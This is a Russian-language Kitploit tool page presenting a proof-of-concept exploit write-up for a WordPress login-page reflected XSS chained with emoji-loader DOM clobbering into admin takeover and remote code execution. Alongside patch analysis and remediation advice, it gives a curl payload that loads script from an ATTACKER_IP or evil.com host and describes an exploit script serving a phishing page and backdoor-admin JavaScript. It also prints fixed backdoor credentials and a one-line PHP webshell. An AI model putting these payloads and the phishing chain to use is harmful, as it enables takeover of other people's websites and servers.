Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-64638 — Эксплойт Proof-of-concept для CVE-2026-64638: отражённый XSS на странице входа WordPress в связке с DOM clobbering для захвата учётной записи администратора и удалённого выполнения кода. | Kitploit
Инструменты/GitHubGitHub/dungsocool/cve-2026-64638
Инструменты фишингаАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьРазработка Полезной Нагрузки
GitHubdungsocool/cve-2026-64638

CVE-2026-64638

Эксплойт Proof-of-concept для CVE-2026-64638: отражённый XSS на странице входа WordPress в связке с DOM clobbering для захвата учётной записи администратора и удалённого выполнения кода.

Репозиторий
11 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-64638

Отражённый XSS на экране входа, ведущий к выполнению PHP-кода — WordPress Core

Программное обеспечение: WordPress Core ≤ 7.0.2 (все версии до 7.0.3)

CVSS: 8.9 (Высокий)

CWE: CWE-79 — Некорректная нейтрализация ввода при генерации веб-страницы

Требуется аутентификация: Не требуется (до аутентификации)

Взаимодействие с пользователем: Активное (администратору нужно кликнуть по 1 ссылке)

Воздействие: XSS → Захват учётной записи → Удалённое выполнение кода


1. Что это за уязвимость?

WordPress — самая популярная система управления контентом в мире, на ней работает более 40% всех сайтов в интернете. У каждого сайта на WordPress есть страница входа по адресу /wp-login.php — это публичная конечная точка, доступная любому без аутентификации.

Когда пользователь вводит неверное имя пользователя, WordPress выводит сообщение об ошибке, содержащее точное имя пользователя, которое только что ввёл пользователь: «Имя пользователя X не зарегистрировано на этом сайте». Проблема в том, что значение имени пользователя помещается непосредственно в HTML-ответ без какой-либо экранирующей функции — атакующему достаточно ввести HTML/JavaScript вместо настоящего имени пользователя, и код будет выполнен в браузере.

Это отражённая XSS-уязвимость — полезная нагрузка содержится в запросе и отражается сервером в HTML в неизменном виде. Опасность усиливается тем, что уязвимость находится на странице входа — месте, которое часто посещают администраторы и где можно похитить сессионные cookie администратора.

Исследовательская группа также обнаружила, что эту XSS можно объединить в цепочку с уязвимостью DOM clobbering в emoji-loader WordPress, что позволяет загружать JavaScript с внешнего сервера. Далее атакующий может создать новую учётную запись администратора → установить плагин с веб-шеллом → выполнить PHP-код на сервере. Эта цепочка эксплуатации получила название XSS2Shell.

2. Пояснение терминологии

DOM Clobbering и emoji-loader

WordPress загружает поддержку эмодзи на каждой странице (включая страницу входа) через файл emoji-loader.js. Этот скрипт читает конфигурацию из элемента с id="wp-emoji-settings":

root@kitploit:~
// Before patch (vulnerable)
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

document.getElementById() возвращает первый элемент в DOM с подходящим id. Если атакующий внедрит <div id="wp-emoji-settings"> перед исходным тегом скрипта, getElementById прочитает содержимое атакующего вместо реальной конфигурации. Этот приём называется DOM clobbering — переопределение поведения JavaScript путём внедрения HTML-элементов.

Конфигурация эмодзи содержит URL для загрузки JavaScript-файла (concatemoji). Атакующий контролирует этот URL → загружает JS-файл с внешнего сервера → выполняет произвольный код в контексте браузера.

От XSS к RCE в WordPress

После достижения выполнения JavaScript в контексте администратора атакующий получает все привилегии администратора WordPress:

  1. Создать новую учётную запись администратора — вызвать /wp-admin/user-new.php с сессией администратора
  2. Установить плагин, содержащий PHP-код — загрузить плагин через /wp-admin/plugin-install.php
  3. Изменить файл темы — вставить PHP-бэкдор через редактор тем

Любой из 3 указанных методов позволяет выполнять PHP-код на сервере — то есть RCE.

3. Анализ исходного кода — первопричина

Шаг 1: Найти сток — где имя пользователя помещается в HTML

Из фиксирующего коммита 0d6d42e в wordpress-develop я определил 3 места в файле wp-includes/user.php, где имя пользователя/email помещается непосредственно в сообщение об ошибке:

root@kitploit:~
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php

Место 1 — строка 189 (имя пользователя не существует):

До:

root@kitploit:~
// BEFORE (vulnerable):
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    $username      // ← no escaping
)

image.png

После:

root@kitploit:~
// fixed:
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    esc_html( $username )    // ← escaped
)

Место 2 — строка 216 (неверный пароль):

До:

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $username . '</strong>'    // ← no escaping

После:

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'

Место 3 — строка 299 (неверный пароль для email):

До:

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $email . '</strong>'    // ← no escaping

После:

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'

Шаг 2: Проследить источник — откуда берутся данные?

Поток данных от POST-запроса до сообщения об ошибке:

root@kitploit:~
$_POST['log']                           ← user input from login form
    ↓
wp_signon() [user.php:51]
    $credentials['user_login'] = wp_unslash($_POST['log'])     ← only removes backslashes
    ↓
wp_authenticate($username, $password) [pluggable.php:689]
    $username = sanitize_user($username)     ← strips HTML tags, but has a bypass
    ↓
wp_authenticate_username_password() [user.php:153]
    get_user_by('login', $username)          ← user not found
    ↓
    sprintf('The username <strong>%s</strong>...', $username)   ← XSS!
    ↓
WP_Error → login_header() → wp_admin_notice()
    wp_kses_post(...)     ← filters HTML but allows <div>, <a>,  through
    ↓
HTML response → browser render → JavaScript execute

Шаг 3: Два уровня защиты, слабые места и подтверждение через отладку

Перед попаданием имени пользователя в HTML в WordPress действуют 2 уровня фильтрации:

Уровень 1: sanitize_user() — вызывает strip_tags() для удаления HTML-тегов. Однако у PHP-функции strip_tags() есть известные ограничения: нестандартное форматирование тегов может обойти фильтр.

Уровень 2: wp_kses_post() — пропускает безопасное подмножество HTML, включая <div>, <a>, `` с определёнными атрибутами (но удаляет обработчики событий, такие как onerror, onload). Ключевой момент: wp_kses_post разрешает <div id="wp-emoji-settings"> — именно тот элемент, который нужен для DOM clobbering.

Команда pwn.ai нашла способ обойти оба уровня и внедрить рабочую полезную нагрузку. Конкретные технические детали не были публично раскрыты.

Отладка с Xdebug — подтверждение потока данных

Чтобы наглядно подтвердить, что имя пользователя попадает в HTML без экранирования, я использовал Xdebug + VS Code и установил точки останова в ключевых точках цепочки выполнения.

Шаг 1 — Ввод XSS-полезной нагрузки в форму входа:

Откройте http://localhost:8282/wp-login.php, введите имя пользователя `` и нажмите Log In. Появляется всплывающее окно alert — XSS работает.

image.png

image.png

Шаг 2 — Точка останова на user.php:184 — где происходит XSS:

Установите точку останова на return new WP_Error(...) внутри функции wp_authenticate_username_password(). Когда отладчик остановится, обратите внимание на:

  • Панель Variables → Locals: $username = "" — HTML-полезная нагрузка в целости, не экранирована
  • Панель Superglobals → $_POST: log = "" — подтверждает, что нагрузка приходит из ввода формы
  • Панель Call Stack: wp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php

image.png

Значение $username идёт из $_POST['log'] → wp_unslash() → (в обход sanitize_user) → sprintf() в сообщение об ошибке на строках 186–189 — между ними нет esc_html(). В лабораторной среде sanitize_user() был закомментирован, чтобы имитировать обход, найденный pwn.ai.

Шаг 3 — Точка останова на functions.php:9200 — финальный вывод:

Установите точку останова на echo wp_get_admin_notice( $message, $args ) — это последняя строка перед выводом HTML в браузер:

  • Панель Variables → Locals: $message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — полезная нагрузка находится в целости внутри HTML-сообщения об ошибке
  • В лабораторной среде строка 9200 не обёрнута в wp_kses_post() (отключено для имитации обхода), поэтому нагрузка уходит в браузер напрямую

image.png

В оригинальном WordPress эта строка выглядит как echo wp_kses_post( wp_get_admin_notice(...) ) — wp_kses_post() удалит атрибут onerror, но пропустит <div id="wp-emoji-settings">, потому что <div> есть в списке разрешённых. Это и есть точный вектор атаки DOM clobbering.

Шаг 4: Второй исправляющий коммит — усиление emoji-loader

Коммит a12c8f5 изменяет emoji-loader.js, чтобы заблокировать DOM clobbering:

root@kitploit:~
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
    throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);

Исправление меняет 3 вещи:

  1. Использует querySelector('script#...') вместо getElementById — сопоставляются только теги <script>
  2. Проверка instanceof HTMLScriptElement — предотвращает DOM clobbering через <div> или ``
  3. Использует .text вместо .textContent — .text — это специфическое свойство HTMLScriptElement

После исправления, даже если атакующему удастся внедрить <div id="wp-emoji-settings">, emoji-loader проигнорирует его, потому что это не элемент <script>.

4. Цепочка атаки — XSS2Shell

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  ATTACKER                                                       │
│  Creates phishing link containing XSS payload                   │
│  POST /wp-login.php with log=<div id="wp-emoji-settings">       │
│  {"source":{"concatemoji":"https://evil.com/rce.js"}}           │
└────────────────────────┬────────────────────────────────────────┘
                         │ Sends link to admin (email, chat, etc.)
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ADMIN CLICKS LINK                                              │
│  Browser POSTs to /wp-login.php → server reflects payload       │
│  → <div id="wp-emoji-settings"> appears in HTML                 │
└────────────────────────┬────────────────────────────────────────┘
                         │ emoji-loader.js executes
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  DOM CLOBBERING                                                 │
│  getElementById('wp-emoji-settings') → returns attacker div     │
│  JSON.parse(div.textContent) → reads fake configuration         │
│  Loads script from https://evil.com/rce.js                      │
└────────────────────────┬────────────────────────────────────────┘
                         │ JS executes in admin context
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ACCOUNT TAKEOVER + RCE                                         │
│  1. Fetch /wp-admin/user-new.php → get nonce                    │
│  2. POST create new admin account (backdoor)                    │
│  3. Login using backdoor account                                │
│  4. Install plugin containing PHP webshell                      │
│  5. Call webshell → RCE on server                               │
└─────────────────────────────────────────────────────────────────┘

5. POC — Воспроизведение в лабораторной среде

5.1 Проверка конечной точки — базовый XSS

Откройте http://localhost:8282/wp-login.php, введите:

  • Имя пользователя: ``
  • Пароль: произвольный

Нажмите Log In. Если появится всплывающее окно alert с надписью "localhost" → XSS работает.

Результат — полезная нагрузка отражается в HTML в неизменном виде:

image.png

5.2 DOM Clobbering — внедрение поддельных настроек эмодзи

Более сложная полезная нагрузка — внедрение <div> с id="wp-emoji-settings", содержащего JSON с указанием на JS-файл атакующего:

image.png

root@kitploit:~
# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'

curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
  --data-urlencode "log=${PAYLOAD}" \
  -d '&pwd=test&wp-submit=Log+In&testcookie=1' \
  | grep "wp-emoji-settings"

Если HTML-вывод содержит <div id="wp-emoji-settings"> с JSON атакующего → emoji-loader загрузит JS с сервера атакующего.

5.3 Полная цепочка — XSS2Shell с exploit.py

Шаг 1: Запуск сервера эксплойта

root@kitploit:~
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999

Скрипт exploit.py обслуживает 2 вещи:

  • http://127.0.0.1:9999/phish.html — фишинговая страница, имитирующая обновление безопасности WordPress
  • http://127.0.0.1:9999/evil.js — JS-полезная нагрузка, создающая учётную запись администратора-бэкдора

Шаг 2: Администратор переходит по фишинговой ссылке

Атакующий отправляет администратору ссылку http://127.0.0.1:9999/phish.html по email/чату. Когда администратор переходит по ней:

  1. Фишинговая страница автоматически отправляет POST на /wp-login.php с именем пользователя, содержащим XSS-полезную нагрузку
  2. Страница входа рендерится → в HTML появляется <div id="wp-emoji-settings">
  3. emoji-loader.js читает поддельный div → загружает evil.js с сервера атакующего
  4. evil.js выполняется в браузере администратора → запрашивает /wp-admin/user-new.php для получения nonce → создаёт учётную запись backdoor_xss2shell / Pwn3d!XSS2Shell

image.png

Весь процесс происходит автоматически; администратор видит лишь обычную страницу входа с ошибкой «имя пользователя не найдено».

Шаг 3: Атакующий входит в систему и загружает веб-шелл

В лабораторной среде администратор уже был авторизован под admin / admin123, поэтому evil.js выполнился немедленно. После получения доступа к учётной записи я сразу загрузил веб-шелл через плагин:

image.png

root@kitploit:~
<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

Шаг 4: RCE — выполнение команд на сервере

image.png

image.png

Вывод вернул www-data — теперь атакующий имеет права на выполнение команд на сервере.

6. Критичность и воздействие

Реальное влияние

  • Затрагивает все версии WordPress до 7.0.3
  • Конечная точка /wp-login.php всегда публична и не может быть скрыта (если только не использовать плагины для смены URL входа)
  • Страница входа — естественная цель для фишинга: администраторы привыкли переходить по ссылкам на страницы входа
  • Цепочка эксплуатации XSS → DOM Clobbering → Захват администратора → RCE не требует особых условий, кроме 1 клика администратора
  • Даже без связки до RCE, XSS на странице входа позволяет похитить сессионные cookie (если HttpOnly не установлен должным образом) или украсть учётные данные через фишинг

7. Устранение уязвимости

Исправлено в WordPress 7.0.3

Исправление 1 — Экранирование вывода (user.php):

root@kitploit:~
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )

Исправление 2 — Усиление emoji-loader (emoji-loader.js):

root@kitploit:~
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
    throw new Error('Element missing');
}

Исправление 3 — Экранирование URL (wp-login.php):

root@kitploit:~
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )

Что следует сделать администраторам WordPress

  1. Немедленно обновитесь до WordPress 7.0.3 — исправление выпущено 08/06/2026
  2. Если используется более старая версия (6.x, 5.x, 4.7+), WordPress перенёс исправление в эти ветки
  3. Проверьте журналы доступа: ищите POST-запросы к /wp-login.php с HTML-нагрузкой в параметре log
  4. Рассмотрите применение WAF-правил для блокировки HTML-тегов в полях формы входа
  5. Проверьте список пользователей-администраторов — если найдены неизвестные учётные записи, сайт может быть скомпрометирован

Уроки для разработчиков

  1. Всегда экранируйте вывод, не полагайтесь только на санитизацию ввода. sanitize_user() предназначен для нормализации имён пользователей, а не для предотвращения XSS. Эшелонированная защита: экранирование в точке вывода (esc_html, esc_attr, esc_url) — последний и самый критический уровень защиты.
  2. Не используйте getElementById для критичных к безопасности данных. DOM clobbering позволяет внедрить поддельный элемент с тем же id. Используйте querySelector с конкретным именем тега + проверку instanceof.
  3. wp_kses_post — это не XSS-фильтр. Он предназначен для разрешения безопасного HTML в содержимом записей, а не для блокировки XSS в других контекстах. Для каждого контекста требуется своя функция экранирования.
Скачать инструмент
АтрибутЗначение
CVE IDCVE-2026-64638
CVSS Score8.9 (Высокий)
Программное обеспечениеWordPress Core ≤ 7.0.2
АутентификацияНе требуется (до аутентификации)
Взаимодействие с пользователемТребуется 1 клик (администратор кликает по ссылке)
Сложность атакиВысокая
Исправлено вWordPress 7.0.3 (08/06/2026)
Сообщившийкоманда pwn.ai через HackerOne
Отчёт HackerOne#3877102
Параметр CVSSЗначениеПричина
Вектор атакиСетьПо HTTP, путём отправки ссылки жертве
Сложность атакиВысокаяТребуется обход sanitize_user() + wp_kses_post(), требуется клик жертвы
Необходимые привилегииНетКонечная точка входа не требует аутентификации
Взаимодействие с пользователемАктивноеАдминистратор должен перейти по фишинговой ссылке
КонфиденциальностьВысокаяЧтение cookie, сессии, содержимого админ-панели
ЦелостностьВысокаяСоздание учётной записи администратора, установка плагина, изменение файлов
ДоступностьВысокаяRCE → полный контроль над сервером